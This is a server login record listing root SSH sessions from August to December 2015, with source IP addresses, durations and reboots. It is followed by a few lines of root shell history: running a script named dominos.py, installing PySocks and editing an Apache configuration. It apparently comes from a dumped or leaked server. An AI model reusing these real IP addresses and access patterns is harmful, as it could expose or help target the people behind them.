root     pts/0        109.65.127.105   Fri Dec  4 11:09:39 2015 – Fri Dec  4 11:25:55 2015  (00:16)
root     pts/0        109.65.127.105   Fri Dec  4 06:15:38 2015 – Fri Dec  4 10:56:29 2015  (04:40)
root     pts/0        192.118.11.120   Fri Dec  4 04:36:27 2015 – Fri Dec  4 04:36:41 2015  (00:00)
root     pts/1        109.65.127.105   Wed Dec  2 14:43:54 2015 – Wed Dec  2 14:44:03 2015  (00:00)
root     pts/0        109.65.127.105   Wed Dec  2 12:00:33 2015 – Wed Dec  2 14:51:24 2015  (02:50)
root     pts/0        2.52.29.183      Wed Dec  2 05:22:33 2015 – Wed Dec  2 05:25:45 2015  (00:03)
root     pts/0        192.118.11.120   Wed Dec  2 02:42:23 2015 – Wed Dec  2 04:42:41 2015  (02:00)
root     pts/1        109.65.127.105   Mon Nov 30 13:37:11 2015 – Mon Nov 30 14:07:23 2015  (00:30)
root     pts/0        109.65.127.105   Sun Nov 29 16:54:23 2015 – Tue Dec  1 11:52:41 2015 (1+18:58)
root     pts/0        109.65.127.105   Sat Nov 28 12:56:39 2015 – Sun Nov 29 16:19:10 2015 (1+03:22)
root     pts/0        109.65.127.105   Sat Nov 28 09:59:07 2015 – Sat Nov 28 12:14:36 2015  (02:15)
root     pts/1        109.65.127.105   Fri Nov 27 08:26:04 2015 – Fri Nov 27 16:30:28 2015  (08:04)
root     pts/0        109.65.127.105   Thu Nov 26 12:23:48 2015 – Sat Nov 28 09:57:28 2015 (1+21:33)
root     pts/0        79.179.192.212   Thu Nov 26 07:38:55 2015 – Thu Nov 26 07:43:54 2015  (00:04)
root     pts/0        79.176.14.98     Sun Nov 22 08:49:21 2015 – Wed Nov 25 16:56:52 2015 (3+08:07)
root     pts/0        79.176.14.98     Sat Nov 21 12:04:42 2015 – Sat Nov 21 15:22:29 2015  (03:17)
root     pts/0        79.178.187.221   Sat Nov 21 07:12:30 2015 – Sat Nov 21 09:44:13 2015  (02:31)
root     pts/1        79.178.187.221   Fri Nov 20 19:02:00 2015 – Fri Nov 20 20:28:20 2015  (01:26)
root     pts/0        79.178.187.221   Fri Nov 20 10:04:58 2015 – Fri Nov 20 20:29:57 2015  (10:24)
root     pts/0        2.52.7.254       Fri Nov 20 04:31:40 2015 – Fri Nov 20 06:43:26 2015  (02:11)
root     pts/0        79.178.187.221   Thu Nov 19 14:29:29 2015 – Fri Nov 20 02:04:44 2015  (11:35)
root     pts/0        2.52.7.244       Thu Nov 19 05:17:42 2015 – Thu Nov 19 05:20:31 2015  (00:02)
root     pts/0        79.178.187.221   Wed Nov 18 13:03:44 2015 – Wed Nov 18 15:56:04 2015  (02:52)
root     pts/1        192.118.11.120   Wed Nov 18 05:16:37 2015 – Wed Nov 18 05:21:08 2015  (00:04)
root     pts/0        79.178.187.221   Tue Nov 17 15:31:23 2015 – Wed Nov 18 07:40:35 2015  (16:09)
root     pts/0        79.178.187.221   Tue Nov 17 13:13:58 2015 – Tue Nov 17 15:23:45 2015  (02:09)
root     pts/0        79.178.187.221   Tue Nov 17 07:54:58 2015 – Tue Nov 17 08:12:44 2015  (00:17)
root     pts/1        79.178.187.221   Tue Nov 17 07:22:20 2015 – Tue Nov 17 07:52:20 2015  (00:30)
root     pts/1        77.126.240.102   Tue Nov 17 04:25:48 2015 – Tue Nov 17 06:37:39 2015  (02:11)
root     pts/0        79.178.187.221   Mon Nov 16 13:39:11 2015 – Tue Nov 17 07:52:31 2015  (18:13)
root     pts/0        79.178.187.221   Mon Nov 16 11:42:57 2015 – Mon Nov 16 13:39:07 2015  (01:56)
root     pts/0        79.178.187.221   Mon Nov 16 11:40:40 2015 – Mon Nov 16 11:42:28 2015  (00:01)
root     pts/0        79.178.187.221   Mon Nov 16 11:18:12 2015 – Mon Nov 16 11:39:35 2015  (00:21)
root     pts/2        2.52.62.167      Mon Nov 16 03:51:34 2015 – Mon Nov 16 06:03:31 2015  (02:11)
root     pts/2        2.52.3.102       Mon Nov 16 02:41:30 2015 – Mon Nov 16 03:51:34 2015  (01:10)
root     pts/1        84.229.53.169    Mon Nov 16 00:49:23 2015 – Mon Nov 16 05:07:42 2015  (04:18)
root     pts/0        79.178.187.221   Sun Nov 15 06:16:58 2015 – Mon Nov 16 10:20:40 2015 (1+04:03)
root     pts/0        79.176.150.146   Sat Nov 14 09:06:11 2015 – Sat Nov 14 13:54:27 2015  (04:48)
root     pts/0        79.176.150.146   Sat Nov 14 06:15:26 2015 – Sat Nov 14 09:06:07 2015  (02:50)
root     pts/0        79.176.150.146   Fri Nov 13 15:45:51 2015 – Fri Nov 13 23:16:31 2015  (07:30)
root     pts/0        79.176.150.146   Fri Nov 13 12:55:53 2015 – Fri Nov 13 15:45:48 2015  (02:49)
root     pts/1        2.52.189.19      Fri Nov 13 04:11:26 2015 – Fri Nov 13 04:51:53 2015  (00:40)
root     pts/0        2.52.156.29      Fri Nov 13 02:37:46 2015 – Fri Nov 13 04:53:33 2015  (02:15)
root     pts/2        2.52.26.96       Thu Nov 12 04:58:13 2015 – Thu Nov 12 07:11:57 2015  (02:13)
root     pts/0        79.177.9.86      Wed Nov 11 11:18:46 2015 – Thu Nov 12 12:10:45 2015 (1+00:51)
root     pts/0        79.177.9.86      Tue Nov 10 13:19:04 2015 – Wed Nov 11 06:33:22 2015  (17:14)
root     pts/1        79.177.9.86      Tue Nov 10 07:52:59 2015 – Tue Nov 10 11:08:32 2015  (03:15)
root     pts/1        79.177.9.86      Tue Nov 10 06:52:45 2015 – Tue Nov 10 07:52:59 2015  (01:00)
root     pts/0        79.177.9.86      Tue Nov 10 05:59:16 2015 – Tue Nov 10 08:12:16 2015  (02:13)
root     pts/0        2.52.61.227      Mon Nov  9 03:32:26 2015 – Mon Nov  9 05:53:25 2015  (02:20)
root     pts/0        79.177.9.86      Sun Nov  8 07:48:01 2015 – Sun Nov  8 08:48:06 2015  (01:00)
root     pts/0        79.177.9.86      Sat Nov  7 21:00:12 2015 – Sun Nov  8 01:20:10 2015  (04:19)
root     pts/1        79.177.9.86      Sat Nov  7 18:30:44 2015 – Sat Nov  7 18:32:02 2015  (00:01)
root     pts/0        79.177.9.86      Sat Nov  7 16:33:20 2015 – Sat Nov  7 20:59:54 2015  (04:26)
root     pts/0        79.179.179.6     Sat Nov  7 13:13:04 2015 – Sat Nov  7 16:33:17 2015  (03:20)
root     pts/0        79.179.179.6     Sat Nov  7 13:05:15 2015 – Sat Nov  7 13:13:01 2015  (00:07)
root     pts/0        79.179.179.6     Sat Nov  7 11:30:02 2015 – Sat Nov  7 12:16:45 2015  (00:46)
root     pts/0        79.179.179.6     Fri Nov  6 15:21:43 2015 – Sat Nov  7 08:59:29 2015  (17:37)
root     pts/0        79.179.179.6     Fri Nov  6 13:19:42 2015 – Fri Nov  6 15:21:39 2015  (02:01)
root     pts/0        79.179.179.6     Fri Nov  6 11:46:37 2015 – Fri Nov  6 13:19:38 2015  (01:33)
root     pts/0        109.64.157.1     Fri Nov  6 06:09:44 2015 – Fri Nov  6 09:10:50 2015  (03:01)
root     pts/0        109.64.157.1     Thu Nov  5 12:23:32 2015 – Thu Nov  5 17:09:16 2015  (04:45)
root     pts/1        84.228.63.227    Wed Nov  4 09:11:16 2015 – Thu Nov  5 18:14:47 2015 (1+09:03)
root     pts/0        109.66.5.130     Tue Nov  3 08:32:34 2015 – Wed Nov  4 17:35:06 2015 (1+09:02)
root     pts/1        109.67.220.245   Mon Nov  2 13:16:10 2015 – Tue Nov  3 08:45:00 2015  (19:28)
root     pts/1        109.67.220.245   Mon Nov  2 08:46:14 2015 – Mon Nov  2 13:16:07 2015  (04:29)
root     pts/1        109.67.220.245   Sun Nov  1 15:38:09 2015 – Mon Nov  2 07:46:38 2015  (16:08)
root     pts/0        84.228.63.227    Sun Nov  1 15:03:02 2015 – Tue Nov  3 03:30:42 2015 (1+12:27)
root     pts/0        2.52.162.199     Sun Nov  1 07:05:57 2015 – Sun Nov  1 07:05:58 2015  (00:00)
root     pts/1        109.66.158.46    Sat Oct 31 13:22:46 2015 – Sat Oct 31 21:36:05 2015  (08:13)
root     pts/0        109.66.158.46    Sat Oct 31 13:18:15 2015 – Sat Oct 31 21:36:05 2015  (08:17)
root     pts/0        109.66.158.46    Fri Oct 30 18:16:11 2015 – Fri Oct 30 23:13:17 2015  (04:57)
root     pts/0        109.66.158.46    Thu Oct 29 17:14:51 2015 – Thu Oct 29 19:45:53 2015  (02:31)
root     pts/0        109.66.158.46    Wed Oct 28 10:50:47 2015 – Wed Oct 28 20:52:32 2015  (10:01)
root     pts/0        109.66.158.46    Tue Oct 27 16:48:42 2015 – Tue Oct 27 20:48:50 2015  (04:00)
root     pts/0        109.66.158.46    Mon Oct 26 10:15:01 2015 – Mon Oct 26 20:59:27 2015  (10:44)
root     pts/0        109.66.158.46    Sun Oct 25 17:00:06 2015 – Sun Oct 25 20:47:11 2015  (03:47)
root     pts/0        109.66.158.46    Sun Oct 25 11:47:40 2015 – Sun Oct 25 12:21:13 2015  (00:33)
root     pts/0        79.183.98.65     Sun Oct 25 08:31:17 2015 – Sun Oct 25 11:42:31 2015  (03:11)
root     pts/0        79.178.204.240   Sat Oct 24 21:25:02 2015 – Sun Oct 25 06:33:34 2015  (09:08)
root     pts/0        79.178.204.240   Sat Oct 24 18:10:41 2015 – Sat Oct 24 21:24:59 2015  (03:14)
root     pts/0        79.178.204.240   Sat Oct 24 15:02:13 2015 – Sat Oct 24 18:10:39 2015  (03:08)
reboot   system boot  0.0.0.0          Sat Oct 24 15:01:53 2015 – Fri Jan 22 04:48:45 2016 (89+14:46)
root     pts/0        79.178.204.240   Sat Oct 24 13:17:09 2015 – down                      (01:42)
root     pts/0        79.178.204.240   Sat Oct 24 11:55:53 2015 – Sat Oct 24 12:41:05 2015  (00:45)
root     pts/0        79.178.204.240   Fri Oct 23 17:22:36 2015 – Sat Oct 24 10:51:47 2015  (17:29)
root     pts/0        79.178.204.240   Fri Oct 23 08:58:53 2015 – Fri Oct 23 17:22:33 2015  (08:23)
root     pts/0        79.178.204.240   Fri Oct 23 08:58:40 2015 – Fri Oct 23 08:58:42 2015  (00:00)
root     pts/0        79.178.204.240   Fri Oct 23 08:10:45 2015 – Fri Oct 23 08:58:35 2015  (00:47)
root     pts/0        2.52.19.80       Fri Oct 23 05:32:34 2015 – Fri Oct 23 07:45:57 2015  (02:13)
root     pts/0        109.65.48.25     Thu Oct 22 16:03:02 2015 – Thu Oct 22 16:08:16 2015  (00:05)
root     pts/0        109.65.48.25     Thu Oct 22 10:58:51 2015 – Thu Oct 22 15:14:28 2015  (04:15)
root     pts/0        77.127.191.25    Wed Oct 21 11:34:00 2015 – Wed Oct 21 15:58:28 2015  (04:24)
root     pts/0        109.65.48.25     Tue Oct 20 15:56:07 2015 – Tue Oct 20 16:16:15 2015  (00:20)
root     pts/0        109.65.48.25     Tue Oct 20 13:26:35 2015 – Tue Oct 20 13:27:06 2015  (00:00)
root     pts/1        109.65.48.25     Mon Oct 19 15:16:14 2015 – Tue Oct 20 15:54:15 2015 (1+00:38)
root     pts/1        109.65.48.25     Sun Oct 18 21:41:59 2015 – Mon Oct 19 08:45:21 2015  (11:03)
root     pts/1        109.65.48.25     Sun Oct 18 15:05:17 2015 – Sun Oct 18 15:46:37 2015  (00:41)
root     pts/2        2.52.164.119     Sun Oct 18 09:55:07 2015 – Sun Oct 18 09:58:45 2015  (00:03)
root     pts/1        109.66.193.113   Sun Oct 18 09:26:50 2015 – Sun Oct 18 13:21:49 2015  (03:54)
root     pts/2        2.52.165.198     Sun Oct 18 05:56:43 2015 – Sun Oct 18 06:28:35 2015  (00:31)
root     pts/2        2.52.165.152     Sun Oct 18 05:25:46 2015 – Sun Oct 18 05:54:10 2015  (00:28)
root     pts/2        109.64.148.11    Sat Oct 17 20:37:04 2015 – Sat Oct 17 20:40:26 2015  (00:03)
root     pts/2        109.64.148.11    Sat Oct 17 17:57:47 2015 – Sat Oct 17 17:58:21 2015  (00:00)
root     pts/1        37.142.138.47    Sat Oct 17 13:29:42 2015 – Sun Oct 18 08:23:47 2015  (18:54)
root     pts/1        37.142.138.47    Sat Oct 17 13:29:15 2015 – Sat Oct 17 13:29:39 2015  (00:00)
root     pts/0        77.127.191.25    Sat Oct 17 05:09:30 2015 – Mon Oct 19 21:46:53 2015 (2+16:37)
root     pts/0        109.64.148.11    Fri Oct 16 18:52:13 2015 – Fri Oct 16 21:30:55 2015  (02:38)
root     pts/0        109.64.148.11    Thu Oct 15 18:59:16 2015 – Thu Oct 15 20:05:49 2015  (01:06)
root     pts/0        109.64.148.11    Thu Oct 15 15:57:13 2015 – Thu Oct 15 17:37:34 2015  (01:40)
root     pts/0        109.64.148.11    Thu Oct 15 10:38:02 2015 – Thu Oct 15 13:03:35 2015  (02:25)
root     pts/0        109.64.148.11    Wed Oct 14 20:29:16 2015 – Wed Oct 14 20:31:29 2015  (00:02)
root     pts/0        109.64.148.11    Wed Oct 14 12:56:35 2015 – Wed Oct 14 18:29:38 2015  (05:33)
root     pts/0        109.64.148.11    Tue Oct 13 12:57:07 2015 – Wed Oct 14 09:46:55 2015  (20:49)
root     pts/0        109.64.148.11    Mon Oct 12 14:28:41 2015 – Tue Oct 13 11:05:31 2015  (20:36)
root     pts/1        84.228.109.103   Sun Oct 11 17:31:11 2015 – Tue Oct 13 02:42:30 2015 (1+09:11)
root     pts/0        79.177.169.179   Sun Oct 11 09:04:10 2015 – Mon Oct 12 04:37:44 2015  (19:33)
root     pts/0        79.177.169.179   Fri Oct  9 18:22:59 2015 – Sat Oct 10 20:14:08 2015 (1+01:51)
root     pts/0        79.177.169.179   Fri Oct  9 18:16:01 2015 – Fri Oct  9 18:22:55 2015  (00:06)
root     pts/0        79.177.169.179   Fri Oct  9 18:14:29 2015 – Fri Oct  9 18:15:51 2015  (00:01)
reboot   system boot  0.0.0.0          Fri Oct  9 18:13:46 2015 – Sat Oct 24 14:59:41 2015 (14+20:45)
root     pts/1        79.177.169.179   Fri Oct  9 15:37:22 2015 – down                      (02:34)
root     pts/0        84.228.31.221    Fri Oct  9 14:51:07 2015 – down                      (03:20)
root     pts/0        79.177.169.179   Thu Oct  8 18:17:26 2015 – Thu Oct  8 20:52:56 2015  (02:35)
root     pts/0        79.177.169.179   Wed Oct  7 12:34:32 2015 – Wed Oct  7 19:22:43 2015  (06:48)
root     pts/0        79.177.169.179   Tue Oct  6 21:28:36 2015 – Wed Oct  7 07:07:32 2015  (09:38)
root     pts/0        79.177.169.179   Tue Oct  6 17:17:49 2015 – Tue Oct  6 21:18:15 2015  (04:00)
root     pts/0        82.44.186.237    Mon Oct  5 21:05:28 2015 – Mon Oct  5 21:30:51 2015  (00:25)
root     pts/0        2.54.167.98      Mon Oct  5 20:13:27 2015 – Mon Oct  5 20:42:17 2015  (00:28)
root     pts/0        82.44.186.237    Sun Oct  4 22:03:38 2015 – Mon Oct  5 00:58:48 2015  (02:55)
root     pts/0        82.44.186.237    Sun Oct  4 17:44:03 2015 – Sun Oct  4 21:21:48 2015  (03:37)
root     pts/0        82.44.186.237    Sat Oct  3 21:36:06 2015 – Sat Oct  3 22:18:01 2015  (00:41)
root     pts/0        2.54.55.24       Sat Oct  3 18:21:31 2015 – Sat Oct  3 20:51:06 2015  (02:29)
root     pts/1        2.54.21.164      Sat Oct  3 15:44:07 2015 – Sat Oct  3 16:12:28 2015  (00:28)
root     pts/0        82.44.186.234    Sat Oct  3 14:24:03 2015 – Sat Oct  3 16:38:00 2015  (02:13)
root     pts/0        84.228.31.221    Sat Oct  3 00:44:01 2015 – Sat Oct  3 12:31:03 2015  (11:47)
root     pts/2        2.54.63.193      Thu Oct  1 15:50:52 2015 – Thu Oct  1 18:03:52 2015  (02:13)
root     pts/1        2.54.132.95      Thu Oct  1 15:34:48 2015 – Thu Oct  1 17:52:38 2015  (02:17)
root     pts/0        84.228.31.221    Thu Oct  1 06:47:51 2015 – Fri Oct  2 04:59:10 2015  (22:11)
root     pts/0        84.228.31.221    Thu Oct  1 06:47:44 2015 – Thu Oct  1 06:47:44 2015  (00:00)
root     pts/0        82.44.186.237    Wed Sep 30 20:51:37 2015 – Wed Sep 30 20:54:02 2015  (00:02)
root     pts/0        82.44.186.237    Wed Sep 30 20:44:32 2015 – Wed Sep 30 20:44:56 2015  (00:00)
root     pts/1        79.177.169.179   Tue Sep 29 20:18:46 2015 – Wed Sep 30 06:39:01 2015  (10:20)
root     pts/0        79.177.169.179   Tue Sep 29 18:07:24 2015 – Tue Sep 29 20:26:26 2015  (02:19)
root     pts/0        79.177.169.179   Tue Sep 29 17:51:52 2015 – Tue Sep 29 18:02:43 2015  (00:10)
root     pts/0        79.177.169.179   Tue Sep 29 06:11:09 2015 – Tue Sep 29 17:17:32 2015  (11:06)
root     pts/2        79.177.169.179   Mon Sep 28 17:17:41 2015 – Mon Sep 28 17:18:10 2015  (00:00)
root     pts/1        79.177.169.179   Mon Sep 28 17:09:17 2015 – Mon Sep 28 22:31:39 2015  (05:22)
root     pts/1        79.177.169.179   Mon Sep 28 16:28:11 2015 – Mon Sep 28 16:49:39 2015  (00:21)
root     pts/0        79.177.169.179   Mon Sep 28 16:11:14 2015 – Mon Sep 28 18:22:39 2015  (02:11)
root     pts/0        79.177.169.179   Mon Sep 28 12:03:37 2015 – Mon Sep 28 16:06:58 2015  (04:03)
reboot   system boot  0.0.0.0          Mon Sep 28 12:01:57 2015 – Fri Oct  9 18:11:34 2015 (11+06:09)
root     pts/0        79.177.169.179   Mon Sep 28 11:57:34 2015 – down                      (00:02)
root     pts/0        79.177.169.179   Mon Sep 28 08:21:32 2015 – Mon Sep 28 11:57:11 2015  (03:35)
root     pts/0        79.177.169.179   Sun Sep 27 20:40:26 2015 – Sun Sep 27 22:06:50 2015  (01:26)
root     pts/0        79.177.169.179   Sat Sep 26 14:25:18 2015 – Sat Sep 26 17:06:53 2015  (02:41)
root     pts/0        79.177.169.179   Fri Sep 25 15:17:20 2015 – Fri Sep 25 17:28:46 2015  (02:11)
root     pts/0        79.177.169.179   Fri Sep 25 15:16:50 2015 – Fri Sep 25 15:17:17 2015  (00:00)
reboot   system boot  0.0.0.0          Fri Sep 25 15:16:18 2015 – Mon Sep 28 11:59:48 2015 (2+20:43)
root     pts/1        79.177.169.179   Fri Sep 25 15:13:58 2015 – down                      (00:00)
root     pts/0        79.177.169.179   Fri Sep 25 15:00:53 2015 – down                      (00:13)
root     pts/0        79.177.169.179   Fri Sep 25 11:03:40 2015 – Fri Sep 25 11:33:41 2015  (00:30)
root     pts/0        79.177.169.179   Fri Sep 25 08:33:13 2015 – Fri Sep 25 09:58:06 2015  (01:24)
root     pts/0        79.177.169.179   Thu Sep 24 18:29:00 2015 – Fri Sep 25 03:22:55 2015  (08:53)
root     pts/0        79.177.59.38     Thu Sep 24 10:13:47 2015 – Thu Sep 24 14:36:04 2015  (04:22)
root     pts/0        79.177.59.38     Wed Sep 23 17:43:41 2015 – Wed Sep 23 20:57:01 2015  (03:13)
root     pts/0        79.177.59.38     Wed Sep 23 16:24:03 2015 – Wed Sep 23 16:26:31 2015  (00:02)
root     pts/0        79.177.59.38     Tue Sep 22 08:15:53 2015 – Tue Sep 22 10:17:41 2015  (02:01)
root     pts/0        79.177.59.38     Mon Sep 21 21:21:00 2015 – Tue Sep 22 07:38:01 2015  (10:17)
root     pts/0        79.177.59.38     Mon Sep 21 19:08:23 2015 – Mon Sep 21 20:30:43 2015  (01:22)
root     pts/0        79.177.59.38     Mon Sep 21 16:55:47 2015 – Mon Sep 21 18:56:06 2015  (02:00)
root     pts/0        79.177.59.38     Mon Sep 21 11:51:26 2015 – Mon Sep 21 16:00:50 2015  (04:09)
root     pts/0        79.177.59.38     Sun Sep 20 13:31:29 2015 – Mon Sep 21 06:09:31 2015  (16:38)
root     pts/0        79.177.59.38     Sat Sep 19 11:27:56 2015 – Sat Sep 19 18:48:17 2015  (07:20)
root     pts/0        79.177.59.38     Fri Sep 18 16:10:15 2015 – Fri Sep 18 16:21:45 2015  (00:11)
root     pts/0        79.177.17.149    Fri Sep 18 15:39:18 2015 – Fri Sep 18 16:07:14 2015  (00:27)
root     pts/0        79.177.17.149    Thu Sep 17 17:30:51 2015 – Fri Sep 18 08:51:01 2015  (15:20)
root     pts/0        79.177.17.149    Wed Sep 16 18:35:28 2015 – Wed Sep 16 19:56:06 2015  (01:20)
root     pts/0        79.177.17.149    Wed Sep 16 15:46:16 2015 – Wed Sep 16 18:35:24 2015  (02:49)
root     pts/0        79.177.17.149    Wed Sep 16 09:33:39 2015 – Wed Sep 16 11:26:27 2015  (01:52)
root     pts/0        2.52.9.196       Wed Sep 16 06:36:31 2015 – Wed Sep 16 08:59:02 2015  (02:22)
root     pts/0        79.177.17.149    Wed Sep 16 04:13:35 2015 – Wed Sep 16 05:50:07 2015  (01:36)
root     pts/1        79.177.17.149    Tue Sep 15 16:57:22 2015 – Tue Sep 15 17:27:09 2015  (00:29)
root     pts/1        79.177.17.149    Tue Sep 15 16:57:02 2015 – Tue Sep 15 16:57:16 2015  (00:00)
root     pts/0        79.177.17.149    Tue Sep 15 16:46:40 2015 – Tue Sep 15 19:25:27 2015  (02:38)
root     pts/0        79.177.17.149    Tue Sep 15 16:44:02 2015 – Tue Sep 15 16:46:36 2015  (00:02)
root     pts/0        79.177.17.149    Tue Sep 15 13:45:30 2015 – Tue Sep 15 14:09:34 2015  (00:24)
root     pts/0        79.177.17.149    Tue Sep 15 11:38:57 2015 – Tue Sep 15 12:46:29 2015  (01:07)
root     pts/0        79.177.17.149    Tue Sep 15 01:33:57 2015 – Tue Sep 15 01:35:48 2015  (00:01)
root     pts/0        79.177.17.149    Mon Sep 14 22:05:58 2015 – Mon Sep 14 23:02:10 2015  (00:56)
root     pts/0        79.177.17.149    Mon Sep 14 21:32:39 2015 – Mon Sep 14 21:45:09 2015  (00:12)
root     pts/0        79.177.17.149    Mon Sep 14 10:35:06 2015 – Mon Sep 14 11:55:34 2015  (01:20)
root     pts/0        79.177.17.149    Mon Sep 14 00:37:48 2015 – Mon Sep 14 04:49:19 2015  (04:11)
root     pts/0        79.177.17.149    Mon Sep 14 00:01:05 2015 – Mon Sep 14 00:23:54 2015  (00:22)
root     pts/0        79.177.17.149    Sun Sep 13 22:23:28 2015 – Sun Sep 13 22:23:40 2015  (00:00)
root     pts/0        79.177.17.149    Sun Sep 13 20:23:11 2015 – Sun Sep 13 22:23:22 2015  (02:00)
root     pts/0        79.177.17.149    Sun Sep 13 12:58:14 2015 – Sun Sep 13 13:52:30 2015  (00:54)
root     pts/0        109.66.153.199   Sat Sep 12 22:21:17 2015 – Sat Sep 12 22:22:35 2015  (00:01)
root     pts/0        109.66.153.199   Sat Sep 12 21:42:50 2015 – Sat Sep 12 21:42:50 2015  (00:00)
root     pts/0        109.66.153.199   Sat Sep 12 18:36:07 2015 – Sat Sep 12 21:42:45 2015  (03:06)
root     pts/0        109.64.108.207   Sat Sep 12 06:21:03 2015 – Sat Sep 12 18:22:11 2015  (12:01)
root     pts/0        109.64.108.207   Sat Sep 12 05:42:42 2015 – Sat Sep 12 05:43:02 2015  (00:00)
root     pts/0        109.64.108.207   Fri Sep 11 18:47:32 2015 – Fri Sep 11 21:04:53 2015  (02:17)
root     pts/0        109.64.108.207   Fri Sep 11 13:56:39 2015 – Fri Sep 11 15:27:24 2015  (01:30)
root     pts/0        109.64.108.207   Thu Sep 10 19:10:25 2015 – Thu Sep 10 19:13:15 2015  (00:02)
root     pts/0        109.64.108.207   Wed Sep  9 07:58:02 2015 – Wed Sep  9 10:36:31 2015  (02:38)
root     pts/1        109.64.108.207   Tue Sep  8 13:45:53 2015 – Wed Sep  9 04:58:03 2015  (15:12)
root     pts/0        109.64.108.207   Tue Sep  8 11:58:08 2015 – Tue Sep  8 14:11:24 2015  (02:13)
root     pts/1        109.64.108.207   Mon Sep  7 17:03:46 2015 – Mon Sep  7 20:03:25 2015  (02:59)
root     pts/1        109.64.108.207   Mon Sep  7 16:33:35 2015 – Mon Sep  7 17:03:33 2015  (00:29)
root     pts/0        109.64.108.207   Mon Sep  7 16:30:16 2015 – Mon Sep  7 21:41:34 2015  (05:11)
root     pts/0        109.64.108.207   Mon Sep  7 15:26:37 2015 – Mon Sep  7 16:16:05 2015  (00:49)
root     pts/0        109.64.108.207   Mon Sep  7 13:43:12 2015 – Mon Sep  7 14:32:37 2015  (00:49)
root     pts/0        109.64.108.207   Mon Sep  7 04:33:04 2015 – Mon Sep  7 05:50:27 2015  (01:17)
root     pts/0        109.64.108.207   Sun Sep  6 23:56:57 2015 – Mon Sep  7 00:38:36 2015  (00:41)
root     pts/0        109.64.108.207   Sun Sep  6 13:22:15 2015 – Sun Sep  6 13:22:25 2015  (00:00)
root     pts/0        109.64.108.207   Sun Sep  6 11:20:17 2015 – Sun Sep  6 12:21:17 2015  (01:01)
root     pts/0        109.64.108.207   Sun Sep  6 03:26:42 2015 – Sun Sep  6 03:55:52 2015  (00:29)
root     pts/0        109.64.108.207   Sat Sep  5 13:44:24 2015 – Sat Sep  5 14:59:34 2015  (01:15)
root     pts/0        109.64.21.32     Sat Sep  5 12:34:34 2015 – Sat Sep  5 13:44:19 2015  (01:09)
root     pts/0        109.64.21.32     Sat Sep  5 12:03:23 2015 – Sat Sep  5 12:22:53 2015  (00:19)
root     pts/0        109.64.21.32     Sat Sep  5 10:02:57 2015 – Sat Sep  5 10:24:30 2015  (00:21)
root     pts/0        109.64.21.32     Sat Sep  5 06:47:31 2015 – Sat Sep  5 06:55:38 2015  (00:08)
root     pts/0        109.64.21.32     Fri Sep  4 19:23:10 2015 – Fri Sep  4 20:09:21 2015  (00:46)
root     pts/0        109.64.21.32     Fri Sep  4 19:18:32 2015 – Fri Sep  4 19:23:07 2015  (00:04)
root     pts/0        109.64.21.32     Fri Sep  4 19:18:01 2015 – Fri Sep  4 19:18:28 2015  (00:00)
root     pts/0        109.64.21.32     Fri Sep  4 19:08:53 2015 – Fri Sep  4 19:17:58 2015  (00:09)
root     pts/1        109.64.21.32     Fri Sep  4 18:48:20 2015 – Fri Sep  4 19:08:49 2015  (00:20)
root     pts/0        109.64.21.32     Fri Sep  4 11:06:39 2015 – Fri Sep  4 18:52:11 2015  (07:45)
root     pts/0        2.52.169.140     Fri Sep  4 04:23:54 2015 – Fri Sep  4 04:33:50 2015  (00:09)
root     pts/1        109.64.21.32     Wed Sep  2 19:48:07 2015 – Wed Sep  2 21:01:16 2015  (01:13)
root     pts/0        109.64.21.32     Wed Sep  2 13:22:27 2015 – Wed Sep  2 21:01:16 2015  (07:38)
root     pts/0        109.64.21.32     Mon Aug 31 18:29:00 2015 – Mon Aug 31 20:45:51 2015  (02:16)
root     pts/0        109.64.21.32     Mon Aug 31 10:47:45 2015 – Mon Aug 31 15:02:34 2015  (04:14)
root     pts/0        109.64.21.32     Sun Aug 30 20:06:05 2015 – Mon Aug 31 00:04:09 2015  (03:58)
root     pts/0        109.64.21.32     Sun Aug 30 14:48:21 2015 – Sun Aug 30 19:20:41 2015  (04:32)
root     pts/0        109.64.21.32     Sat Aug 29 12:09:09 2015 – Sat Aug 29 20:13:38 2015  (08:04)
root     pts/0        109.64.21.32     Sat Aug 29 11:24:52 2015 – Sat Aug 29 11:55:52 2015  (00:31)
reboot   system boot  0.0.0.0          Sat Aug 29 11:24:24 2015 – Fri Sep 25 15:14:09 2015 (27+03:49)
root     pts/0        109.64.21.32     Sat Aug 29 11:13:34 2015 – down                      (00:08)
reboot   system boot  0.0.0.0          Sat Aug 29 11:13:07 2015 – Sat Aug 29 11:22:22 2015  (00:09)
root     pts/0        109.64.21.32     Sat Aug 29 09:48:19 2015 – down                      (01:22)
root     pts/0        109.64.21.32     Sat Aug 29 09:47:43 2015 – Sat Aug 29 09:48:10 2015  (00:00)
root     pts/0        109.64.21.32     Fri Aug 28 20:56:34 2015 – Fri Aug 28 21:49:20 2015  (00:52)
root     pts/0        109.64.21.32     Fri Aug 28 18:49:10 2015 – Fri Aug 28 20:01:23 2015  (01:12)
root     pts/0        109.64.21.32     Wed Aug 26 06:28:21 2015 – Wed Aug 26 10:37:41 2015  (04:09)
root     pts/0        109.64.21.32     Mon Aug 24 06:51:30 2015 – Mon Aug 24 11:51:54 2015  (05:00)
root     pts/0        109.64.21.32     Sun Aug 23 19:23:03 2015 – Sun Aug 23 20:34:13 2015  (01:11)
root     pts/0        109.64.103.73    Sun Aug 23 16:08:19 2015 – Sun Aug 23 16:19:16 2015  (00:10)
root     pts/0        109.64.103.73    Sun Aug 23 15:55:43 2015 – Sun Aug 23 16:08:08 2015  (00:12)
root     pts/2        188.27.122.78    Sat Aug 22 22:14:58 2015 – Sat Aug 22 22:15:32 2015  (00:00)
root     pts/1        86.126.122.2     Sat Aug 22 22:14:21 2015 – Sat Aug 22 22:14:58 2015  (00:00)
root     pts/0        86.126.122.2     Sat Aug 22 22:13:30 2015 – Sat Aug 22 22:15:00 2015  (00:01)
reboot   system boot  0.0.0.0          Sat Aug 22 22:12:41 2015 – Sat Aug 29 11:10:56 2015 (6+12:58)
reboot   system boot  0.0.0.0          Sat Aug 22 22:03:03 2015 – Sat Aug 29 11:10:56 2015 (6+13:07)
root     pts/1        86.126.122.2     Sat Aug 22 21:59:42 2015 – Sat Aug 22 21:59:45 2015  (00:00)
root     pts/0        86.126.122.2     Sat Aug 22 21:55:24 2015 – Sat Aug 22 21:59:48 2015  (00:04)
reboot   system boot  0.0.0.0          Sat Aug 22 21:54:19 2015 – Sat Aug 29 11:10:56 2015 (6+13:16)

wtmp begins Sat Aug 22 21:54:19 2015

Root’s .bash_history

python dominos.py
pip install PySocks
python dominos.py
htop
history | grep httpd.cong
history | grep httpd.conf
nano /etc/httpd/conf/httpd.conf
